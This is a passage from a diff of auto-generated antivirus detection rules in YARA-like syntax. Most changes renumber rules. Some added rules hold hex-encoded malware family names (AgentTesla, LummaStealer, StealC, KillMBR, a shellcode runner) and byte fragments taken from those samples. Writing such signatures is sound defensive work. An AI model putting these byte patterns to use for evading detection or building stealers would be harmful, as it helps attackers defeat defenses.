>=100 } -rule _InfrastructureShared_3529{ +rule _InfrastructureShared_3624{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -36476,7 +37464,7 @@ rule _InfrastructureShared_3529{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3530{ +rule _InfrastructureShared_3625{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -36486,7 +37474,7 @@ rule _InfrastructureShared_3530{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3531{ +rule _InfrastructureShared_3626{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -36496,7 +37484,7 @@ rule _InfrastructureShared_3531{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3532{ +rule _InfrastructureShared_3627{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -36506,7 +37494,7 @@ rule _InfrastructureShared_3532{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3533{ +rule _InfrastructureShared_3628{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -36516,7 +37504,7 @@ rule _InfrastructureShared_3533{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3534{ +rule _InfrastructureShared_3629{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -36526,7 +37514,7 @@ rule _InfrastructureShared_3534{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3535{ +rule _InfrastructureShared_3630{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -36536,7 +37524,7 @@ rule _InfrastructureShared_3535{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3536{ +rule _InfrastructureShared_3631{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -36546,7 +37534,7 @@ rule _InfrastructureShared_3536{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3537{ +rule _InfrastructureShared_3632{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -36556,7 +37544,7 @@ rule _InfrastructureShared_3537{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3538{ +rule _InfrastructureShared_3633{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -36566,7 +37554,7 @@ rule _InfrastructureShared_3538{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3539{ +rule _InfrastructureShared_3634{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -36576,7 +37564,7 @@ rule _InfrastructureShared_3539{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3540{ +rule _InfrastructureShared_3635{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -36586,7 +37574,7 @@ rule _InfrastructureShared_3540{ ((#a_54_0 & 1)*16675) >=1 } -rule _InfrastructureShared_3541{ +rule _InfrastructureShared_3636{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -36596,7 +37584,7 @@ rule _InfrastructureShared_3541{ ((#a_6b_0 & 1)*17955) >=1 } -rule _InfrastructureShared_3542{ +rule _InfrastructureShared_3637{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -36606,7 +37594,7 @@ rule _InfrastructureShared_3542{ ((#a_6b_0 & 1)*17955) >=1 } -rule _InfrastructureShared_3543{ +rule _InfrastructureShared_3638{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -36616,7 +37604,7 @@ rule _InfrastructureShared_3543{ ((#a_6b_0 & 1)*17955) >=1 } -rule _InfrastructureShared_3544{ +rule _InfrastructureShared_3639{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -36626,7 +37614,7 @@ rule _InfrastructureShared_3544{ ((#a_6b_0 & 1)*17955) >=1 } -rule _InfrastructureShared_3545{ +rule _InfrastructureShared_3640{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -36636,7 +37624,7 @@ rule _InfrastructureShared_3545{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3546{ +rule _InfrastructureShared_3641{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -36646,7 +37634,17 @@ rule _InfrastructureShared_3546{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3547{ +rule _InfrastructureShared_3642{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_54_0 = {3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 36 34 2f 53 68 65 6c 6c 63 6f 64 65 72 75 6e 6e 65 72 2e 4e 52 21 4d 54 42 00 01 00 15 01 63 68 61 69 6e 72 65 61 63 74 6f 72 73 2f 67 6f 67 6f 2f 76 32 00 00 78 4e 00 00 01 00 01 00 01 00 21 23 48 53 54 52 3a } //18467 + condition: + ((#a_54_0 & 1)*18467) >=1 + +} +rule _InfrastructureShared_3643{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -36656,7 +37654,7 @@ rule _InfrastructureShared_3547{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3548{ +rule _InfrastructureShared_3644{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -36666,7 +37664,17 @@ rule _InfrastructureShared_3548{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3549{ +rule _InfrastructureShared_3645{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_54_0 = {3a 4d 53 49 4c 2f 52 65 67 69 73 74 72 79 6d 61 6e 69 70 75 6c 61 74 69 6f 6e 2e 50 52 21 41 4d 54 42 00 01 00 18 81 01 4d 69 63 72 6f 73 6f 66 74 2e 57 69 6e 33 32 2e 52 65 67 69 73 74 72 79 00 00 78 4e 00 00 01 00 01 00 01 00 21 23 48 53 54 52 3a } //18467 + condition: + ((#a_54_0 & 1)*18467) >=1 + +} +rule _InfrastructureShared_3646{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -36676,7 +37684,7 @@ rule _InfrastructureShared_3549{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3550{ +rule _InfrastructureShared_3647{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -36686,7 +37694,7 @@ rule _InfrastructureShared_3550{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3551{ +rule _InfrastructureShared_3648{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -36696,7 +37704,7 @@ rule _InfrastructureShared_3551{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3552{ +rule _InfrastructureShared_3649{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -36706,7 +37714,7 @@ rule _InfrastructureShared_3552{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3553{ +rule _InfrastructureShared_3650{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -36716,7 +37724,7 @@ rule _InfrastructureShared_3553{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3554{ +rule _InfrastructureShared_3651{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -36726,7 +37734,7 @@ rule _InfrastructureShared_3554{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3555{ +rule _InfrastructureShared_3652{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -36736,7 +37744,7 @@ rule _InfrastructureShared_3555{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3556{ +rule _InfrastructureShared_3653{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -36746,7 +37754,7 @@ rule _InfrastructureShared_3556{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3557{ +rule _InfrastructureShared_3654{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -36756,7 +37764,7 @@ rule _InfrastructureShared_3557{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3558{ +rule _InfrastructureShared_3655{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -36766,7 +37774,7 @@ rule _InfrastructureShared_3558{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3559{ +rule _InfrastructureShared_3656{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -36776,7 +37784,7 @@ rule _InfrastructureShared_3559{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3560{ +rule _InfrastructureShared_3657{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -36786,7 +37794,7 @@ rule _InfrastructureShared_3560{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3561{ +rule _InfrastructureShared_3658{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -36796,7 +37804,7 @@ rule _InfrastructureShared_3561{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3562{ +rule _InfrastructureShared_3659{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -36806,7 +37814,17 @@ rule _InfrastructureShared_3562{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3563{ +rule _InfrastructureShared_3660{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 52 65 63 6f 6e 79 63 2e 47 56 41 31 00 01 00 28 01 a5 8a 54 2e 36 c7 c8 9a 44 44 89 45 8c 89 1d 9e d8 12 f6 7f a8 30 57 7f 3c 2b ca 74 0c cf 6c c1 24 ac 39 d8 e4 48 d5 5b 00 00 78 4e 00 00 01 00 01 00 01 00 21 23 48 53 54 52 3a } //18467 + condition: + ((#a_54_0 & 1)*18467) >=1 + +} +rule _InfrastructureShared_3661{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -36816,7 +37834,7 @@ rule _InfrastructureShared_3563{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3564{ +rule _InfrastructureShared_3662{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -36826,7 +37844,7 @@ rule _InfrastructureShared_3564{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3565{ +rule _InfrastructureShared_3663{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -36836,7 +37854,7 @@ rule _InfrastructureShared_3565{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_3566{ +rule _InfrastructureShared_3664{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -36846,7 +37864,7 @@ rule _InfrastructureShared_3566{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_3567{ +rule _InfrastructureShared_3665{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -36856,7 +37874,7 @@ rule _InfrastructureShared_3567{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_3568{ +rule _InfrastructureShared_3666{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -36866,7 +37884,7 @@ rule _InfrastructureShared_3568{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_3569{ +rule _InfrastructureShared_3667{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -36876,7 +37894,7 @@ rule _InfrastructureShared_3569{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_3570{ +rule _InfrastructureShared_3668{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -36886,7 +37904,7 @@ rule _InfrastructureShared_3570{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_3571{ +rule _InfrastructureShared_3669{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -36896,7 +37914,7 @@ rule _InfrastructureShared_3571{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_3572{ +rule _InfrastructureShared_3670{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -36906,7 +37924,27 @@ rule _InfrastructureShared_3572{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_3573{ +rule _InfrastructureShared_3671{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4a 41 21 4d 54 42 00 01 00 1e 01 11 14 1f 09 11 14 1f 09 95 11 15 1f 09 95 61 9e 11 1a 20 67 2d 05 be 5a 20 ba 6f c4 c2 61 00 00 78 4e 00 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_3672{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4d 61 72 64 6f 6d 2e 41 43 21 4d 54 42 00 01 00 22 01 7e e8 02 00 04 20 b3 ca b4 ff 20 2e a2 20 24 59 20 46 55 c5 70 59 20 3f d3 ce 6a 61 7d fc 02 00 04 20 00 00 78 4e 00 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_3673{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -36916,7 +37954,7 @@ rule _InfrastructureShared_3573{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_3574{ +rule _InfrastructureShared_3674{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -36926,17 +37964,7 @@ rule _InfrastructureShared_3574{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_3575{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " - - strings : - $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4d 69 6e 74 2e 41 43 21 4d 54 42 00 01 00 23 01 33 c0 89 08 50 45 43 6f 6d 70 61 63 74 32 00 00 4c 6a 00 8b 4f 0e a3 00 4c 6a 00 8b 09 62 8b 5d 40 e1 6d 00 00 78 4e 00 } //21539 - condition: - ((#a_4c_0 & 1)*21539) >=1 - -} -rule _InfrastructureShared_3576{ +rule _InfrastructureShared_3675{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -36946,7 +37974,7 @@ rule _InfrastructureShared_3576{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_3577{ +rule _InfrastructureShared_3676{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -36956,7 +37984,7 @@ rule _InfrastructureShared_3577{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_3578{ +rule _InfrastructureShared_3677{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -36966,7 +37994,17 @@ rule _InfrastructureShared_3578{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_3579{ +rule _InfrastructureShared_3678{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4c 75 6d 6d 61 53 74 65 61 6c 65 72 2e 45 54 4c 21 4d 54 42 00 01 00 1a 01 48 8b 84 24 e0 01 00 00 65 48 8b 04 25 60 00 00 00 48 8b 40 18 48 8b 40 20 e9 00 00 78 4e 00 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_3679{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -36976,7 +38014,7 @@ rule _InfrastructureShared_3579{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_3580{ +rule _InfrastructureShared_3680{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -36986,7 +38024,7 @@ rule _InfrastructureShared_3580{ ((#a_5f_0 & 1)*25635) >=1 } -rule _InfrastructureShared_3581{ +rule _InfrastructureShared_3681{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -36997,7 +38035,7 @@ rule _InfrastructureShared_3581{ ((#a_46_0 & 1)*16675+(#a_53_1 & 1)*8993) >=1 } -rule _InfrastructureShared_3582{ +rule _InfrastructureShared_3682{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -37008,7 +38046,7 @@ rule _InfrastructureShared_3582{ ((#a_54_0 & 1)*18467+(#a_64_1 & 1)*26958) >=1 } -rule _InfrastructureShared_3583{ +rule _InfrastructureShared_3683{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -37019,7 +38057,7 @@ rule _InfrastructureShared_3583{ ((#a_54_0 & 1)*18467+(#a_6a_1 & 1)*29268) >=1 } -rule _InfrastructureShared_3584{ +rule _InfrastructureShared_3684{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -37030,41 +38068,101 @@ rule _InfrastructureShared_3584{ ((#a_54_0 & 1)*18467+(#a_54_1 & 1)*26966) >=1 } -rule _InfrastructureShared_3585{ +rule _InfrastructureShared_3685{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " strings : $a_54_0 = {3a 56 69 72 54 6f 6f 6c 3a 57 69 6e 33 32 2f 4f 62 66 75 73 63 61 74 6f 72 2e 50 4e 21 78 6f 72 5f 70 6c 75 73 5f 32 00 01 00 08 01 91 8d 89 90 c1 3b c1 80 01 00 08 01 8b 55 ec 81 ec 38 01 00 00 00 78 4e 00 00 01 00 01 00 04 00 21 23 48 53 54 52 3a } //18467 - $a_6a_1 = {6e 3a 57 69 6e 33 32 2f 56 75 6e 64 6f 2e 67 65 6e 21 44 2e 31 00 01 00 05 01 bb 55 55 25 78 01 00 05 01 bb 00 80 54 96 01 00 05 01 68 69 a0 e4 3d 01 00 05 01 b8 69 a1 e4 3d 00 00 78 4e 00 00 02 00 02 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 74 65 61 6c 43 2e 41 52 41 46 21 4d 54 42 00 02 00 1f 03 e8 9b } //29268 + $a_6a_1 = {6e 3a 57 69 6e 33 32 2f 56 75 6e 64 6f 2e 67 65 6e 21 44 2e 31 00 01 00 05 01 bb 55 55 25 78 01 00 05 01 bb 00 80 54 96 01 00 05 01 68 69 a0 e4 3d 01 00 05 01 b8 69 a1 e4 3d 00 00 78 4e 00 00 02 00 02 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 43 72 79 73 61 6e 2e 45 41 4e 21 4d 54 42 00 02 00 21 01 25 47 7e 01 } //29268 condition: ((#a_54_0 & 1)*18467+(#a_6a_1 & 1)*29268) >=1 } -rule _InfrastructureShared_3586{ +rule _InfrastructureShared_3686{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 56 75 6e 64 6f 2e 67 65 6e 21 44 2e 31 00 01 00 05 01 bb 55 55 25 78 01 00 05 01 bb 00 80 54 96 01 00 05 01 68 69 a0 e4 3d 01 00 05 01 b8 69 a1 e4 3d 00 00 78 4e 00 00 02 00 02 00 01 00 21 23 41 4c 46 3a 54 } //18467 - $a_61_1 = {3a 57 69 6e 33 32 2f 53 74 65 61 6c 43 2e 41 52 41 46 21 4d 54 42 00 02 00 1f 03 e8 9b ff ff ff 8a 95 f8 90 01 01 ff ff 8b 85 f4 90 01 01 ff ff 30 14 38 83 fb 0f 75 1f 90 00 00 00 78 4e 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 45 64 67 79 57 61 73 70 2e 49 21 64 68 61 00 01 00 0e } //28530 - $a_6d_2 = {53 74 61 6d 70 41 66 74 65 72 01 00 0f 01 70 48 6f 73 74 4e 61 6d 65 53 74 72 75 63 74 00 00 78 4e 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 55 45 46 49 2f 4d 6f 73 61 69 63 52 65 67 72 65 73 73 6f 72 2e 42 00 01 00 08 00 66 00 54 00 41 00 00 00 01 00 10 02 78 46 46 ff ff 48 90 01 02 42 41 ff } //21505 - $a_00_3 = {00 00 02 00 78 4e 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 42 64 41 6c 74 65 72 44 72 6f 70 70 65 72 2e 41 21 64 68 61 00 01 00 0b 01 25 73 25 73 5c 25 73 5c 25 73 00 01 00 0b 01 20 6d 61 69 6e 5f 66 75 6e 63 00 00 00 78 4e 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 52 65 6e 6f 46 6c 6f 73 73 2e 4c 21 64 68 61 00 01 00 10 01 5f 74 0d 8a 10 8b cf 03 cb } //-1 + $a_61_1 = {3a 4d 53 49 4c 2f 43 72 79 73 61 6e 2e 45 41 4e 21 4d 54 42 00 02 00 21 01 25 47 7e 01 00 00 04 11 17 19 5f 19 62 1f 1f 5f 63 d2 61 d2 52 17 11 17 58 13 17 11 17 11 16 8e 69 00 00 78 4e 00 00 02 00 02 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 43 72 79 73 61 6e 2e 45 41 4f 21 4d 54 42 00 02 00 21 } //28530 + $a_7e_2 = {00 00 04 19 11 17 5f 19 62 1f 1f 5f 63 d2 61 d2 52 11 17 17 58 13 17 11 17 11 16 8e 69 00 00 78 4e 00 00 02 00 02 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 74 65 61 6c 43 2e 41 52 41 46 } //9473 + $a_42_3 = {02 00 1f 03 e8 9b ff ff ff 8a 95 f8 90 01 01 ff ff 8b 85 f4 90 01 01 ff ff 30 14 38 83 fb 0f 75 1f 90 00 00 00 78 4e 00 00 02 00 02 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 44 61 72 6b 43 6c 6f 75 64 2e 45 41 49 57 21 4d 54 42 00 } //19745 condition: - ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*28530+(#a_6d_2 & 1)*21505+(#a_00_3 & 1)*-1) >=1 + ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*28530+(#a_7e_2 & 1)*9473+(#a_42_3 & 1)*19745) >=1 } -rule _InfrastructureShared_3587{ +rule _InfrastructureShared_3687{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 74 65 61 6c 43 2e 41 52 41 46 21 4d 54 42 00 02 00 1f 03 e8 9b ff ff ff 8a 95 f8 90 01 01 ff ff 8b 85 f4 90 01 01 ff ff 30 14 38 83 fb 0f 75 1f 90 00 00 00 78 4e 00 00 02 00 02 00 02 00 } //16675 + $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 43 72 79 73 61 6e 2e 45 41 4e 21 4d 54 42 00 02 00 21 01 25 47 7e 01 00 00 04 11 17 19 5f 19 62 1f 1f 5f 63 d2 61 d2 52 17 11 17 58 13 17 11 17 11 16 8e 69 00 00 78 4e 00 00 02 00 02 00 01 00 } //16675 condition: ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_3588{ +rule _InfrastructureShared_3688{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 43 72 79 73 61 6e 2e 45 41 4f 21 4d 54 42 00 02 00 21 01 25 47 7e 01 00 00 04 19 11 17 5f 19 62 1f 1f 5f 63 d2 61 d2 52 11 17 17 58 13 17 11 17 11 16 8e 69 00 00 78 4e 00 00 02 00 02 00 01 00 } //16675 + condition: + ((#a_46_0 & 1)*16675) >=2 + +} +rule _InfrastructureShared_3689{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 74 65 61 6c 43 2e 41 52 41 46 21 4d 54 42 00 02 00 1f 03 e8 9b ff ff ff 8a 95 f8 90 01 01 ff ff 8b 85 f4 90 01 01 ff ff 30 14 38 83 fb 0f 75 1f 90 00 00 00 78 4e 00 00 02 00 02 00 01 00 } //16675 + condition: + ((#a_46_0 & 1)*16675) >=2 + +} +rule _InfrastructureShared_3690{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 44 61 72 6b 43 6c 6f 75 64 2e 45 41 49 57 21 4d 54 42 00 02 00 1d 01 26 1f 12 13 05 2b 9d 16 0a 11 06 1f 1e 91 1f 6a 59 13 05 2b 8f 03 04 61 1f 25 59 06 61 00 00 78 4e 00 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=2 + +} +rule _InfrastructureShared_3691{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4a 61 6c 61 70 65 6e 6f 2e 42 41 42 21 4d 54 42 00 02 00 1f 03 06 02 07 6f d3 00 00 0a 03 07 6f d3 00 00 0a 61 60 0a 07 17 58 0b 07 02 90 01 05 32 e1 90 00 00 00 78 4e 00 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=2 + +} +rule _InfrastructureShared_3692{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4b 69 6c 6c 4d 42 52 2e 45 4d 42 52 21 4d 54 42 00 02 00 1f 03 00 06 07 02 07 90 01 07 00 00 00 5f d2 9c 00 07 17 58 0b 07 90 01 05 fe 04 0c 08 2d dd 90 00 00 00 78 4e 00 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=2 + +} +rule _InfrastructureShared_3693{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 